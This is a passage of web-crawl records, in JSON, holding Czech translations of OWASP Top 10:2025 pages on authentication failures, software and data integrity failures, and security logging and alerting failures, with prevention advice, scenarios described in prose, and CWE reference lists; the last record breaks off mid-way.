slabých hesel, například porovnáním nových nebo změněných hesel se seznamem 10 000 nejhorších hesel.\n- Při vytváření nových účtů a změnách hesel ověřujte vůči seznamům přihlašovacích údajů známých z úniků (např. pomocí [haveibeenpwned.com](https://haveibeenpwned.com)).\n- Slaďte délku hesla, složitost a zásady rotace hesel s doporučeními [National Institute of Standards and Technology (NIST) 800-63b's guidelines in section 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets), nebo s jinými moderními, na důkazech založenými zásadami pro hesla.\n- Nenuťte uživatele rotovat (měnit) hesla, pokud nemáte podezření na únik/kompromitaci. Pokud máte podezření na kompromitaci, okamžitě vynuťte reset hesel.\n- Zajistěte, aby registrace, obnova přihlašovacích údajů a API cesty byly zajištěny proti útokům typu enumerace účtů tím, že pro všechny výsledky použijete stejné zprávy („Neplatné uživatelské jméno nebo heslo.“).\n- Omezte nebo postupně prodlužujte zpoždění při neúspěšných pokusech o přihlášení, ale dávejte pozor, abyste nevytvořili scénář denial of service. Zaznamenávejte všechna selhání a upozorněte správce, pokud jsou útoky typu credential stuffing, brute force nebo jiné útoky detekovány nebo je na ně podezření.\n- Používejte vestavěný serverový správce relací, který je bezpečný a po přihlášení generuje nové náhodné ID relace s vysokou entropií. Identifikátory relací by neměly být v URL, měly by být bezpečně uloženy v zabezpečené cookie a zneplatněny po odhlášení, po vypršení nečinnosti (idle timeout) a po vypršení absolutního časového limitu (absolute timeout).\n- V ideálním případě používejte předem připravený, široce důvěryhodný systém pro zpracování autentizace, identity a správy relací (session management). Toto riziko přeneste, kdykoli je to možné, nákupem a využíváním hardenovaného (zpevněného/zabezpečeného) a dobře otestovaného systému.\n- Ověřte zamýšlené použití poskytnutých pověření, např. u JWT ověřte hodnoty aud, iss, a scopes.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Credential stuffing, tedy použití seznamů známých kombinací uživatelských jmen a hesel, je dnes velmi běžný útok. V poslední době bylo zjištěno, že útočníci hesla „inkrementují“ nebo je jinak upravují na základě běžného lidského chování. Například změní „Winter2025“ na „Winter2026“ nebo „ILoveMyDog6“ na „ILoveMyDog7“ či „ILoveMyDog5“. Toto upravování pokusů o zadání hesla se nazývá hybridní útok credential stuffing nebo útok typu password spray a může být ještě účinnější než tradiční verze. Pokud aplikace neimplementuje obranu proti automatizovaným hrozbám (brute force, skripty nebo boty) ani proti credential stuffingu, může být použita jako password oracle k určení, zda jsou přihlašovací údaje platné, a k získání neoprávněného přístupu.\n\n**Scénář #2:** Většina úspěšných útoků na autentizaci nastává v důsledku pokračujícího používání hesel jako jediného autentizačního faktoru. Požadavky na rotaci hesel a na jejich složitost, které byly kdysi považovány za osvědčené postupy, vedou uživatele jak k opětovnému používání hesel, tak k používání slabých hesel. Organizacím se doporučuje tyto postupy podle NIST 800-63 ukončit a vynucovat používání vícefaktorového ověřování na všech důležitých systémech.\n\n**Scénář #3:** Časové limity relací aplikace nejsou správně implementovány. Uživatel používá veřejný počítač k přístupu k aplikaci a místo toho, aby vybral možnost „odhlásit se“, jednoduše zavře kartu prohlížeče a odejde. Dalším příkladem je situace, kdy SSO relaci (Single Sign-On) nelze ukončit pomocí SLO (Single Logout). To znamená, že jedno přihlášení vás přihlásí například do poštovního klienta, systému dokumentů a chatovacího systému, ale odhlášení se týká pouze aktuálního systému. Pokud útočník použije stejný prohlížeč poté, co se oběť domnívá, že se úspěšně odhlásila, ale v některých aplikacích je stále autentizována, může získat přístup k účtu oběti. Stejný problém může nastat v kancelářích a podnicích, když citlivá aplikace nebyla správně ukončena a kolega má (dočasný) přístup k odemčenému počítači.\n\n## Reference\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## Seznam mapovaných CWE\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Authentication Bypass by Alternate Name](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Reliance on IP Address for Authentication](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Using Referer Field for Authentication](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Incorrect Implementation of Authentication Algorithm](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Incorrectly Specified Destination in a Communication Channel](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 11164, "slov": 1249, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:39", "sha256": "4262632464fb6ac8005c044be4e66a1c91251c348c0f79c8de4fe5142dcd9af0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Selhání integrity softwaru nebo dat - OWASP Top 10:2025", "h1": "A08:2025 Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A08:2025 Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)\n\n## Pozadí\n\nSelhání integrity softwaru nebo dat zůstává na 8. místě, s mírnou, upřesňující změnou názvu z „Selhání integrity softwaru *a* dat“. Tato kategorie se zaměřuje na selhání v udržování hranic důvěry (trust boundaries) a ověřování integrity softwaru, kódu a datových artefaktů na nižší úrovni než selhání dodavatelského řetězce softwaru. Tato kategorie se zaměřuje na vytváření předpokladů souvisejících s aktualizacemi softwaru a kritickými daty bez ověření jejich integrity. Mezi významné Common Weakness Enumerations (CWE) patří *CWE-829: Inclusion of Functionality from Untrusted Control Sphere*, *CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes*, and *CWE-502: Deserialization of Untrusted Data*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8,98 % | 2,75 % | 78,52 % | 45,49 % | 7,11 | 4,79 | 501 327 | 3 331 |\n\n## Popis\n\nSelhání integrity softwaru a dat souvisí s kódem a infrastrukturou, které nechrání před tím, aby neplatný nebo nedůvěryhodný kód či data byly považovány za důvěryhodné a platné. Příkladem je situace, kdy aplikace využívá pluginy, knihovny nebo moduly z nedůvěryhodných zdrojů, repozitářů a sítí pro doručování obsahu (Content Delivery Network, CDN). Nezabezpečená CI/CD pipeline, aniž by využívala a poskytovala kontroly integrity softwaru, může zavést možnost neoprávněného přístupu, nezabezpečeného nebo škodlivého kódu či kompromitace systému. Dalším příkladem je CI/CD, které stahuje kód nebo artefakty z nedůvěryhodných míst a/nebo je před použitím neověřuje (kontrolou podpisu nebo podobným mechanismem). A konečně, mnoho aplikací nyní obsahuje funkci automatické aktualizace, kdy jsou aktualizace stahovány bez dostatečného ověření integrity a aplikovány na dříve důvěryhodnou aplikaci. Útočníci by potenciálně mohli nahrát vlastní aktualizace, které by byly distribuovány a spuštěny na všech instalacích. Dalším příkladem je situace, kdy jsou objekty nebo data enkódována nebo serializována do struktury, kterou útočník může vidět a upravovat; takový návrh je zranitelný vůči nezabezpečené deserializaci.\n\n## Jak tomu zabránit\n\n- Používejte digitální podpisy nebo podobné mechanismy k ověření, že software nebo data pocházejí z očekávaného zdroje a nebyly pozměněny.\n- Zajistěte, aby knihovny a závislosti (např. npm nebo Maven) čerpaly pouze z důvěryhodných repozitářů. Pokud máte vyšší rizikový profil, zvažte hostování interního ověřeného („known-good“) repozitáře, který je prověřen.\n- Zajistěte, aby existoval proces revize změn kódu a konfigurace, který minimalizuje možnost, že by do vašeho softwarového pipeline mohl být zaveden škodlivý kód nebo konfigurace.\n- Zajistěte, aby vaše CI/CD pipeline měla řádnou segregaci, konfiguraci a řízení přístupu, aby byla zajištěna integrita kódu procházejícího procesy sestavení a nasazení.\n- Zajistěte, aby nepodepsaná nebo nešifrovaná serializovaná data nebyla přijímána od nedůvěryhodných klientů a následně používána bez nějaké formy kontroly integrity nebo digitálního podpisu k detekci manipulace nebo opětovného přehrání (replay) serializovaných dat.\n\n## Příklady scénářů útoků\n\n**Scénář #1 Zahrnutí webové funkcionality z nedůvěryhodného zdroje:** Společnost využívá externího poskytovatele služeb pro zajištění podpory. Pro zjednodušení má nastavené mapování DNS z myCompany.SupportProvider.com na support.myCompany.com. To znamená, že všechny cookies nastavené pro doménu myCompany.com, včetně autentizačních cookies, jsou nyní odesílány poskytovateli podpory. Kdokoli s přístupem k infrastruktuře poskytovatele podpory může odcizit cookies všech uživatelů, kteří navštívili support.myCompany.com, a provést únos relace (session hijacking).\n\n**Scénář #2 Aktualizace bez podpisu:** Mnoho domácích routerů, set-top boxů, firmwaru zařízení a dalších zařízení neověřuje aktualizace pomocí podepsaného firmwaru. Nepodepsaný firmware je rostoucím cílem útočníků a očekává se, že se situace bude jen zhoršovat. To je velký problém, protože často neexistuje jiný mechanismus nápravy než provést opravu v budoucí verzi a počkat, až starší verze postupně „dožijí“ (budou vyřazeny).\n\n**Scénář #3 Použití balíčku z nedůvěryhodného zdroje:** Vývojář má potíže s nalezením aktualizované verze balíčku, který hledá, a proto jej nestáhne z běžného, důvěryhodného správce balíčků, ale z webové stránky. Balíček není podepsán, a proto není možnost zajistit jeho integritu. Balíček obsahuje škodlivý kód.\n\n**Scénář #4 Nezabezpečená deserializace:** Aplikace využívající React volá sadu mikroslužeb Spring Boot. Jako funkcionální programátoři se snažili zajistit, aby jejich kód byl neměnný. Řešení, se kterým přišli, je serializovat stav uživatele a předávat jej tam a zpět s každým požadavkem. Útočník si všimne signatury Java objektu „rO0“ (v base64) a pomocí [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) získá možnost vzdáleného spuštění kódu na aplikačním serveru.\n\n## Reference\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## Seznam mapovaných CWE\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 7609, "slov": 859, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:40", "sha256": "d37f72b15930b14d5d63fdb222245d994732ae40b0646354c98b743ef97ac487", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Selhání bezpečnostního logování a upozorňování - OWASP Top 10:2025", "h1": "A09:2025 Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A09:2025 Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)\n\n## Pozadí\n\nNázev této kategorie byl mírně upraven, aby více zdůraznil funkci upozorňování (alerting), která je nezbytná k vyvolání reakce na relevantní události zaznamenané v logovacích záznamech. V datech bude tato oblast vždy spíše podreprezentovaná a již potřetí byla do žebříčku Top 10 zařazena na základě hlasování účastníků komunitního průzkumu. Její testování je mimořádně obtížné a v datech CVE/CVSS je zastoupena jen minimálně (pouze 723 záznamy CVE), přesto však může mít zásadní dopad na viditelnost bezpečnostních událostí, upozorňování na incidenty i forenzní analýzu. Zahrnuje problémy s *nesprávným zpracováním kódování výstupu při zápisu do logovacích souborů (CWE-117), s vkládáním citlivých dat do logovacích souborů (CWE-532) a s nedostatečným logováním (CWE-778).*\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11,33 % | 3,91 % | 85,96 % | 46,48 % | 7,19 | 2,65 | 260 288 | 723 |\n\n## Popis\n\nBez logování a monitorování nelze útoky a narušení zabezpečení odhalit a bez upozorňování je během bezpečnostního incidentu velmi obtížné reagovat rychle a účinně. K nedostatkům v logování, průběžném monitorování, detekci a upozorňování, které mají vést k zahájení aktivní reakce, dochází vždy, když:\n\n- Auditovatelné události, jako jsou přihlášení, neúspěšná přihlášení a transakce s vysokou hodnotou, nejsou logovány vůbec nebo jsou logovány nekonzistentně (například se logují pouze úspěšná přihlášení, nikoli neúspěšné pokusy).\n- Varování a chyby negenerují žádné, dostatečné nebo srozumitelné logovací záznamy.\n- Integrita logů není řádně chráněna před manipulací.\n- Logy aplikací a rozhraní API nejsou monitorovány z hlediska podezřelé aktivity.\n- Logy jsou ukládány pouze lokálně a nejsou řádně zálohovány.\n- Vhodné prahové hodnoty pro upozorňování a procesy eskalace reakce nejsou zavedeny nebo nejsou účinné. Upozornění nejsou přijímána ani vyhodnocována v přiměřené době.\n- Penetrační testování a skeny prováděné nástroji pro dynamické testování bezpečnosti aplikací (DAST), jako jsou Burp nebo ZAP, nespouštějí upozornění.\n- Aplikace nedokáže aktivní útoky detekovat, eskalovat ani na ně upozornit v reálném čase nebo téměř v reálném čase.\n- Jste zranitelní vůči úniku citlivých informací tím, že události logování a upozorňování zpřístupníte uživateli nebo útočníkovi (viz [A01:2025 Nedostatečné řízení přístupu (Broken Access Control)](../A01_2025-Broken_Access_Control/) ), nebo tím, že logujete citlivé informace, které by logovány být neměly (například PII nebo PHI).\n- Pokud nejsou data v logu správně zakódována, jste zranitelní vůči injektážím nebo útokům na systémy logování či monitorování.\n- Aplikace opomíjí chyby a jiné výjimečné stavy nebo je zpracovává nesprávně, takže systém neví, že k chybě došlo, a není proto schopen zaznamenat, že nastal problém.\n- Odpovídající „use cases“ pro vyvolání upozornění chybějí nebo jsou zastaralé, a proto nelze rozpoznat zvláštní situaci.\n- Příliš velké množství falešně pozitivních upozornění znemožňuje odlišit důležitá upozornění od nedůležitých, v důsledku čehož jsou rozpoznána příliš pozdě, nebo vůbec ne (fyzické přetížení týmu SOC).\n- Zjištěná upozornění nelze správně zpracovat, protože playbook pro daný use case je neúplný, zastaralý nebo chybí.\n\n## Jak tomu zabránit\n\nVývojáři by měli v závislosti na rizikovosti aplikace implementovat některá nebo všechna následující opatření:\n\n- Zajistěte, aby všechna selhání přihlášení, kontroly přístupu a validace vstupů na straně serveru mohla být logována s dostatečným uživatelským kontextem umožňujícím identifikaci podezřelých nebo škodlivých účtů a aby byla uchovávána po dostatečně dlouhou dobu pro účely následné forenzní analýzy.\n- Zajistěte, aby byla logována každá část aplikace obsahující bezpečnostní kontrolu, a to bez ohledu na to, zda tato kontrola uspěje, nebo selže.\n- Zajistěte, aby byly logy generovány ve formátu, který mohou řešení pro správu logů snadno zpracovat.\n- Zajistěte, aby byla data logů správně kódována, aby se zabránilo injektážím nebo útokům na systémy logování či monitorování.\n- Zajistěte, aby všechny transakce měly auditní stopu s kontrolami integrity, které zabrání manipulaci nebo smazání, například v podobě append-only databázových tabulek nebo podobného mechanismu.\n- Zajistěte, aby všechny transakce, které vyvolají chybu, byly vráceny zpět a znovu spuštěny. Vždy bezpečně selhávejte (fail closed).\n- Pokud se aplikace nebo její uživatelé chovají podezřele, vyvolejte upozornění. Připravte pro vývojáře pokyny k této oblasti, aby s ní mohli při vývoji počítat, nebo pro tento účel pořiďte vhodný systém.\n- Týmy DevSecOps a bezpečnostní týmy by měly zavést účinné scénáře monitorování a upozorňování (use cases) včetně playbooků, aby tým Security Operations Center (SOC) dokázal podezřelé aktivity rychle detekovat a reagovat na ně.\n- Přidejte do aplikace „honeytokeny“ jako pasti na útočníky, například do databáze nebo dat, a to jako skutečnou a/nebo technickou identitu uživatele. Jelikož se při běžném provozu nepoužívají, jakýkoli přístup k nim generuje logovací data, která lze využít k vyvolání upozornění s téměř nulovým počtem falešně pozitivních případů.\n- Analýza chování a podpora umělou inteligencí mohou volitelně sloužit jako doplňková technika podporující nízkou míru falešně pozitivních upozornění.\n- Vytvořte nebo převezměte plán reakce na incidenty a obnovy, například podle National Institute of Standards and Technology (NIST) 800-61r2 nebo novější verze. Naučte své vývojáře softwaru, jak vypadají útoky na aplikace a bezpečnostní incidenty, aby je dokázali hlásit.\n\nExistují komerční i open-source produkty pro ochranu aplikací, jako je OWASP ModSecurity Core Rule Set, a open-source nástroje pro korelaci logů, jako je stack Elasticsearch, Logstash, Kibana (ELK), které nabízejí vlastní dashboardy a upozorňování a mohou vám pomoci při řešení těchto problémů. Existují také komerční nástroje pro observability, které vám mohou pomoci reagovat na útoky nebo je blokovat téměř v reálném čase.\n\n## Příklady scénářů útoků\n\n**Scénář č. 1:** Provozovatel webu poskytovatele dětského zdravotního pojištění nedokázal kvůli nedostatečnému monitorování a logování odhalit narušení bezpečnosti. Externí subjekt informoval poskytovatele zdravotního pojištění, že útočník získal přístup k tisícům citlivých zdravotních záznamů více než 3,5 milionu dětí a upravil je. Následné přezkoumání po incidentu ukázalo, že vývojáři webu neodstranili významné zranitelnosti. Protože systém nebyl logován ani monitorován, mohl únik dat probíhat již od roku 2013, tedy déle než sedm let.\n\n**Scénář č. 2:** U velké indické letecké společnosti došlo k úniku dat, který zahrnoval osobní údaje milionů cestujících za období delší než deset let, včetně údajů z pasů a platebních karet. K úniku došlo u externího poskytovatele cloudového hostingu, který leteckou společnost o narušení informoval až s odstupem času.\n\n**Scénář č. 3:** Velká evropská letecká společnost utrpěla narušení zabezpečení podléhající oznamovací povinnosti podle GDPR. To bylo podle dostupných informací způsobeno bezpečnostními zranitelnostmi v platební aplikaci, které útočníci zneužili a získali tak více než 400 000 záznamů o platbách zákazníků. V důsledku toho uložil regulátor pro ochranu osobních údajů letecké společnosti pokutu ve výši 20 milionů liber.\n\n## Reference\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## Seznam mapovaných CWE\n\n- [CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Information Loss of Omission](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 9175, "slov": 1164, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:41", "sha256": "a1e91cfb8d1498a1b777fb8c17ce00003473d44b664b89fecae7d234be9294eb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", 